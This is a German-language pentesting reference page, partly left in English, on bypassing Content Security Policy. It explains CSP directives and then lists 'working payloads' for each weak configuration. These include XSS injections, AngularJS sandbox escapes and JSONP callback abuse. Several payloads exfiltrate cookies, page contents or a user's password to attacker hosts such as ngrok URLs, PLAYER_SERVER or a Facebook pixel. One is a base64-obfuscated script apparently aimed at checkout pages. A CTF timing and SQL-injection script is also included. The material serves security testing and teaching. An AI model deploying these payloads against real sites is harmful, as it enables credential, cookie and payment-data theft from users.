Content Security Policy (CSP) Bypass

Reading time: 33 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist CSP

Content Security Policy (CSP) wird als Browser-Technologie verstanden, die in erster Linie darauf abzielt, gegen Angriffe wie cross-site scripting (XSS) zu schützen. Sie funktioniert, indem Pfade und Quellen definiert und spezifiziert werden, von denen Ressourcen sicher vom Browser geladen werden dürfen. Diese Ressourcen umfassen Elemente wie Bilder, Frames und JavaScript. Zum Beispiel kann eine Policy das Laden und Ausführen von Ressourcen von derselben Domain (self) erlauben, einschließlich inline-Ressourcen und der Ausführung von String-Code über Funktionen wie eval, setTimeout oder setInterval.

Die Implementierung von CSP erfolgt über Response-Header oder durch Einfügen von meta-Elementen in die HTML-Seite. Browser setzen diese Vorgaben aktiv durch und blockieren sofort erkannte Verstöße.

  • Implementiert über Response-Header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementiert über Meta-Tag:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Kopfzeilen

CSP kann durch die folgenden Header durchgesetzt oder überwacht werden:

  • Content-Security-Policy: Setzt die CSP durch; der Browser blockiert alle Verstöße.
  • Content-Security-Policy-Report-Only: Wird zur Überwachung verwendet; meldet Verstöße, blockiert sie jedoch nicht. Ideal zum Testen in Vorproduktionsumgebungen.

Ressourcen definieren

CSP beschränkt die Ursprünge, von denen sowohl aktive als auch passive Inhalte geladen werden dürfen, und steuert Aspekte wie die Ausführung von inline JavaScript und die Verwendung von eval(). Ein Beispiel für eine Policy ist:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktiven

  • script-src: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripten und Skripten, die durch Event-Handler oder XSLT-Stylesheets ausgelöst werden.
  • default-src: Setzt eine Standardrichtlinie zum Laden von Ressourcen, wenn spezifische Fetch-Direktiven fehlen.
  • child-src: Gibt erlaubte Ressourcen für Web Workers und eingebettete Frame-Inhalte an.
  • connect-src: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.
  • frame-src: Beschränkt URLs für Frames.
  • frame-ancestors: Gibt an, welche Quellen die aktuelle Seite einbetten dürfen; gilt für Elemente wie <frame>, <iframe>, <object>, <embed>, und <applet>.
  • img-src: Definiert erlaubte Quellen für Bilder.
  • font-src: Gibt gültige Quellen für Fonts an, die mit @font-face geladen werden.
  • manifest-src: Definiert erlaubte Quellen für Application-Manifest-Dateien.
  • media-src: Definiert erlaubte Quellen zum Laden von Media-Objekten.
  • object-src: Definiert erlaubte Quellen für <object>, <embed> und <applet>-Elemente.
  • base-uri: Gibt erlaubte URLs für das Laden mittels <base>-Elementen an.
  • form-action: Listet gültige Endpunkte für Formular-Submits auf.
  • plugin-types: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
  • upgrade-insecure-requests: Anweist Browser, HTTP-URLs in HTTPS umzuschreiben.
  • sandbox: Wendet Beschränkungen ähnlich dem sandbox-Attribut eines <iframe> an.
  • report-to: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
  • worker-src: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
  • prefetch-src: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab geladen werden.
  • navigate-to: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, form, window.location, window.open, etc.)

Quellen

  • *: Erlaubt alle URLs außer solchen mit den Schemata data:, blob:, filesystem:.
  • 'self': Erlaubt das Laden von der gleichen Domain.
  • 'data': Erlaubt das Laden von Ressourcen über das data-Schema (z. B. Base64-codierte Bilder).
  • 'none': Blockiert das Laden von jeglicher Quelle.
  • 'unsafe-eval': Erlaubt die Verwendung von eval() und ähnlichen Methoden; aus Sicherheitsgründen nicht empfohlen.
  • 'unsafe-hashes': Ermöglicht bestimmte inline Event-Handler.
  • 'unsafe-inline': Erlaubt die Nutzung von Inline-Ressourcen wie inline <script> oder <style>; aus Sicherheitsgründen nicht empfohlen.
  • 'nonce': Eine Whitelist für spezifische Inline-Skripte, die einen kryptographischen Nonce (einmalige Zahl) verwenden.
  • If you have JS limited execution it's possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]") and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
Script laden und Nonce wiederverwenden
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Erlaubt Skripte mit einem bestimmten sha256-Hash.
  • 'strict-dynamic': Ermöglicht das Laden von Skripten aus beliebigen Quellen, wenn sie durch ein nonce oder einen Hash auf die Whitelist gesetzt wurden.
  • 'host': Gibt einen bestimmten Host an, z. B. example.com.
  • https:: Beschränkt URLs auf solche, die HTTPS verwenden.
  • blob:: Erlaubt das Laden von Ressourcen von Blob-URLs (z. B. Blob-URLs, die via JavaScript erstellt werden).
  • filesystem:: Erlaubt das Laden von Ressourcen aus dem Dateisystem.
  • 'report-sample': Fügt dem Verstoßbericht ein Beispiel des verletzenden Codes bei (nützlich zum Debuggen).
  • 'strict-origin': Ähnlich wie 'self', stellt aber sicher, dass das Protokoll-Sicherheitsniveau der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
  • 'strict-origin-when-cross-origin': Sendet vollständige URLs bei same-origin-Anfragen, sendet jedoch nur die Origin bei cross-origin-Anfragen.
  • 'unsafe-allow-redirects': Erlaubt das Laden von Ressourcen, die sofort auf eine andere Ressource weiterleiten. Nicht empfohlen, da es die Sicherheit schwächt.

Unsichere CSP-Regeln

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Funktionierender Payload: "/><script>alert(1);</script>

self + 'unsafe-inline' über Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Dies funktioniert nicht, für mehr Infos siehe hier.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Funktionierender payload:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Wenn du es irgendwie schaffst, dass ein erlaubter JS-Code im DOM ein neues script tag mit deinem JS-Code erzeugt, weil ein erlaubtes Script es erstellt, wird das neue script tag zur Ausführung zugelassen.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Funktionierender Payload:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Fehlende object-src und default-src

[!CAUTION] > Es scheint, dass dies nicht mehr funktioniert

yaml
Content-Security-Policy: script-src 'self' ;

Funktionierende payloads:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Datei-Upload + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

Wenn du eine JS-Datei hochladen kannst, kannst du diese CSP umgehen:

Funktionierender payload:

html
"/>'><script src="/uploads/picture.png.js"></script>

However, it's highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.

Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like Apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache die .wave extension nicht kennt, therefore it doesn't serve it with a MIME type like audio/*.

From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).

Form-action

If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src does not cover form actions.

warning

Für einige der folgenden payloads ist unsafe-eval nicht einmal nötig.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Lade eine verwundbare Version von angular und führe beliebigen JS-Code aus:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads mit Angular + einer Bibliothek mit Funktionen, die das window-Objekt zurückgeben (check out this post):

tip

Der Beitrag zeigt, dass du alle Bibliotheken von cdn.cloudflare.com (oder jedem anderen erlaubten JS libraries repo) laden kannst, alle hinzugefügten Funktionen jeder Bibliothek ausführst und überprüfst, welche Funktionen aus welchen Bibliotheken das window-Objekt zurückgeben.

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS durch einen Klassennamen:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Missbrauch von google recaptcha JS code

Laut this CTF writeup kannst du https://www.google.com/recaptcha/ innerhalb einer CSP ausnutzen, um beliebigen JS code auszuführen und die CSP zu umgehen:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Mehr payloads from this writeup:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Ausnutzen von www.google.com für open redirect

Die folgende URL leitet zu example.com weiter (aus here):

https://www.google.com/amp/s/example.com/

Abusing *.google.com/script.google.com

Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu erhalten. Wie es done in this report.

Third Party Endpoints + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Szenarien wie dieses, in denen script-src auf self gesetzt ist und eine bestimmte Domain zugelassen ist, können mit JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere callback-Methoden, die einem Angreifer erlauben, XSS auszuführen. Funktionierender Payload:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee enthält einsatzbereite JSONP-Endpunkte zum CSP bypass verschiedener Websites.

Die gleiche Schwachstelle tritt auf, wenn der trusted endpoint contains an Open Redirect, denn wenn der initiale Endpoint vertrauenswürdig ist, sind auch Redirects vertrauenswürdig.

Missbrauch durch Drittanbieter

Wie in dem following post beschrieben, gibt es viele Third-Party-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:

EntitätErlaubte DomainFähigkeiten
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Wenn Sie eine der erlaubten Domains in der CSP Ihres Targets finden, ist die Wahrscheinlichkeit groß, dass Sie die CSP umgehen können, indem Sie sich beim Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.

Zum Beispiel, wenn Sie die folgende CSP finden:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

oder

Content-Security-Policy​: connect-src www.facebook.com;​

Du solltest in der Lage sein, Daten zu exfiltrieren, ähnlich wie es schon immer mit Google Analytics/Google Tag Manager gemacht wurde. In diesem Fall folgst du diesen allgemeinen Schritten:

  1. Erstelle hier ein Facebook Developer account.
  2. Create a new "Facebook Login" app and select "Website".
  3. Gehe zu "Settings -> Basic" und hole deine "App ID"
  4. Auf der Zielseite, von der du Daten exfiltrate möchtest, kannst du diese direkt exfiltrate, indem du das Facebook SDK Gadget "fbq" über ein "customEvent" und die Daten-Payload verwendest.
  5. Gehe zu deiner App "Event Manager" und wähle die Anwendung, die du erstellt hast (beachte, der Event Manager könnte unter einer URL ähnlich dieser zu finden sein: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Wähle den Tab "Test Events", um die Events zu sehen, die von "deiner" web site gesendet werden.

Dann führst du auf der Opferseite den folgenden Code aus, um das Facebook tracking pixel auf die App-ID des Angreifers' Facebook Developer account zu initialisieren und ein "customEvent" wie folgt auszulösen:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, sie zu missbrauchen. Siehe den zuvor verlinkten blog post für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.

Bypass via RPO (Relative Path Overwrite)

Neben der bereits erwähnten Umleitung zum Umgehen von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern angewendet werden kann.

Zum Beispiel, wenn CSP den Pfad https://example.com/scripts/react/ erlaubt, kann dieser wie folgt umgangen werden:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Der Browser wird schließlich https://example.com/scripts/angular/angular.js laden.

Das funktioniert, weil der Browser eine Datei namens ..%2fangular%2fangular.js lädt, die sich unter https://example.com/scripts/react/ befindet, was mit CSP konform ist.

Dabei wird es decodiert, wodurch effektiv https://example.com/scripts/react/../angular/angular.js angefragt wird, was äquivalent zu https://example.com/scripts/angular/angular.js ist.

Durch Ausnutzen dieser Inkonsistenz in der URL-Interpretation zwischen Browser und Server können die Pfadregeln umgangen werden.

Die Lösung besteht darin, %2f serverseitig nicht als / zu behandeln, um eine konsistente Interpretation zwischen Browser und Server sicherzustellen und dieses Problem zu vermeiden.

Online Example: https://jsbin.com/werevijewa/edit?html,output

Iframes JS-Ausführung

Iframes in XSS, CSP and SOP

fehlende base-uri

Wenn die base-uri-Direktive fehlt, kann man sie ausnutzen, um eine dangling markup injection durchzuführen.

Außerdem, wenn die Seite ein Script mit einem relativen Pfad lädt (wie <script src="/js/app.js">) und dabei eine Nonce verwendet wird, kann man das base tag missbrauchen, um das Script vom eigenen Server zu laden und so eine XSS zu erzielen.
Wenn die verwundbare Seite mit httpS geladen wird, verwende eine httpS-URL im base.

html
<base href="https://www.attacker.com/" />

AngularJS-Ereignisse

Eine spezielle Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch bietet AngularJS als Alternative benutzerdefinierte Events an. Innerhalb eines Events stellt AngularJS das spezielle Objekt $event zur Verfügung, das auf das native Browser-Eventobjekt verweist. Dieses $event-Objekt lässt sich ausnutzen, um die CSP zu umgehen. Besonders in Chrome besitzt das $event/event-Objekt ein path-Attribut, das ein Array von Objekten enthält, die an der Ausführungskette des Events beteiligt sind, wobei das window-Objekt stets am Ende steht. Diese Struktur ist entscheidend für sandbox escape Taktiken.

Indem dieses Array an den orderBy-Filter übergeben wird, ist es möglich, darüber zu iterieren und das letzte Element (das window-Objekt) zu nutzen, um eine globale Funktion wie alert() auszulösen. Der folgende Code-Snippet veranschaulicht diesen Prozess:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Dieses Snippet zeigt die Verwendung der ng-focus-Direktive zum Auslösen des Events, nutzt $event.path|orderBy, um das path-Array zu manipulieren, und verwendet das window-Objekt, um die Funktion alert() auszuführen und damit document.cookie offenzulegen.

Finde weitere Angular bypasses unter https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS und zugelassene Domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Eine CSP-Policy, die Domains für das Laden von Skripten in einer Angular JS-Anwendung whitelists, kann durch den Aufruf von callback functions und bestimmten vulnerable classes umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem detaillierten Guide in diesem git repository.

Funktionierende payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Weitere JSONP arbitrary execution endpoints finden sich in here (einige davon wurden gelöscht oder behoben)

Bypass via Redirection

Was passiert, wenn CSP auf eine serverseitige Umleitung trifft? Führt die Umleitung zu einer anderen Origin, die nicht erlaubt ist, schlägt sie trotzdem fehl.

Laut der Beschreibung in CSP spec 4.2.2.3. Paths and Redirects kann eine Umleitung, die zu einem anderen Pfad führt, jedoch die ursprünglichen Einschränkungen umgehen.

Hier ein Beispiel:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

If CSP is set to https://www.google.com/a/b/c/d, since the path is considered, both /test and /a/test scripts will be blocked by CSP.

Allerdings wird die finale http://localhost:5555/301 serverseitig auf https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// umgeleitet. Da es sich um eine Weiterleitung handelt, wird der Pfad nicht berücksichtigt, und das Skript geladen werden kann, wodurch die Pfadbeschränkung umgangen wird.

Mit dieser Umleitung wird selbst wenn der Pfad vollständig angegeben ist, dieser trotzdem umgangen.

Daher ist die beste Lösung, sicherzustellen, dass die Website keine open redirect vulnerabilities hat und dass in den CSP-Regeln keine Domains stehen, die ausgenutzt werden können.

Bypass CSP with dangling markup

Mehr dazu: hier.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' bedeutet, dass du jedes Skript im Code ausführen kannst (XSS kann Code ausführen) und img-src * bedeutet, dass du auf der Webseite jedes Bild von jeder Ressource verwenden kannst.

Du kannst diese CSP umgehen, indem du die Daten über Bilder exfiltrierst (in diesem Fall missbraucht das XSS eine CSRF, wobei eine vom Bot erreichbare Seite eine SQLi enthält und das flag über ein Bild extrahiert wird):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

Von: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Sie können diese Konfiguration auch missbrauchen, um javascript code, der in ein Bild eingefügt wurde, zu laden. Wenn die Seite zum Beispiel das Laden von Bildern von Twitter erlaubt, könnten Sie ein spezielles Bild erstellen, es auf Twitter hochladen und 'unsafe-inline' missbrauchen, um einen JS-Code (wie bei einem normalen XSS) auszuführen, der das Bild lädt, das JS daraus extrahiert und ausführt: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Mit Service Workers

Die importScripts-Funktion von Service Workers ist nicht durch CSP eingeschränkt:

Abusing Service Workers

Policy Injection

Recherche: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Wenn ein von Ihnen gesendeter Parameter in die Deklaration der Policy eingefügt wird, könnten Sie die Policy so verändern, dass sie nutzlos wird. Sie könnten Skripte mit 'unsafe-inline' zulassen mit einem dieser Bypasses:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Da diese Direktive vorhandene script-src-Direktiven überschreibt.
Ein Beispiel findest du hier: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Bei Edge ist es viel einfacher. Wenn du in die CSP nur dies einfügst: ;_ würde Edge die gesamte Richtlinie verwerfen.
Beispiel: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Timing-Angriff

Beachte das Fehlen der Direktive 'unsafe-inline'
Diesmal kannst du das Opfer dazu bringen, eine Seite unter deiner Kontrolle per XSS mit einem <iframe zu laden. Diesmal lässt du das Opfer die Seite aufrufen, von der du Informationen extrahieren möchtest (CSRF). Du kannst nicht auf den Inhalt der Seite zugreifen, aber wenn du irgendwie die Ladezeit der Seite kontrollieren kannst, kannst du die benötigten Informationen extrahieren.

Diesmal wird ein flag extrahiert: immer wenn ein Zeichen korrekt geraten wird (via SQLi), benötigt die Antwort aufgrund der sleep-Funktion mehr Zeit. Dann kannst du das flag extrahieren:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Über Bookmarklets

Dieser Angriff setzt Social Engineering voraus, wobei der Angreifer den Nutzer überredet, einen Link auf das Bookmarklet des Browsers zu ziehen und dort abzulegen. Dieses Bookmarklet würde bösartigen javascript-Code enthalten, der beim Drag&Drop oder Klick im Kontext des aktuellen Browserfensters ausgeführt wird, CSP umgeht und es ermöglicht, sensible Informationen wie cookies oder tokens zu stehlen.

For more information check the original report here.

CSP bypass durch Einschränkung von CSP

In diesem CTF writeup wird CSP umgangen, indem innerhalb eines erlaubten iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann via prototype pollution oder dom clobbering ausgenutzt wurde, um ein anderes Script dazu zu bringen, ein beliebiges Script zu laden.

Du kannst die CSP eines iframe einschränken mit dem csp-Attribut:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In this CTF writeup, war es möglich, mittels HTML injection eine CSP stärker einschränken, sodass ein Script, das CSTI verhindert, deaktiviert wurde und dadurch die vulnerability ausnutzbar wurde.
CSP kann restriktiver gemacht werden durch HTML meta tags und inline scripts können deaktiviert werden, indem man den Eintrag entfernt, der ihre nonce erlaubt, und bestimmte inline scripts via sha aktiviert:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration mit Content-Security-Policy-Report-Only

Wenn es dir gelingt, den Server dazu zu bringen, mit dem Header Content-Security-Policy-Report-Only zu antworten, dessen Wert von dir kontrolliert wird (z. B. wegen eines CRLF), kannst du ihn so auf deinen Server zeigen lassen. Wenn du dann den JS content, den du exfiltrate möchtest, mit <script> umschließt — und da unsafe-inline sehr wahrscheinlich vom CSP nicht erlaubt ist — wird das einen CSP-Fehler auslösen und ein Teil des Skripts (der sensible Informationen enthält) vom Content-Security-Policy-Report-Only an den Server gesendet.

Als Beispiel check this CTF writeup.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Leaking Information with CSP and Iframe

  • Ein iframe wird erstellt, das auf eine URL zeigt (nennen wir sie https://example.redirect.com), die von CSP erlaubt ist.
  • Diese URL leitet dann zu einer geheimen URL weiter (z. B. https://usersecret.example2.com), die von CSP nicht erlaubt ist.
  • Durch Zuhören des securitypolicyviolation-Events kann man die blockedURI-Property erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leaking die geheime Domain, zu der die initiale URL weitergeleitet wurde.

Es ist interessant zu bemerken, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit iframes in Bezug auf CSP zeigen, was aufgrund von undefiniertem Verhalten zu möglicher leakage sensibler Informationen führen kann.

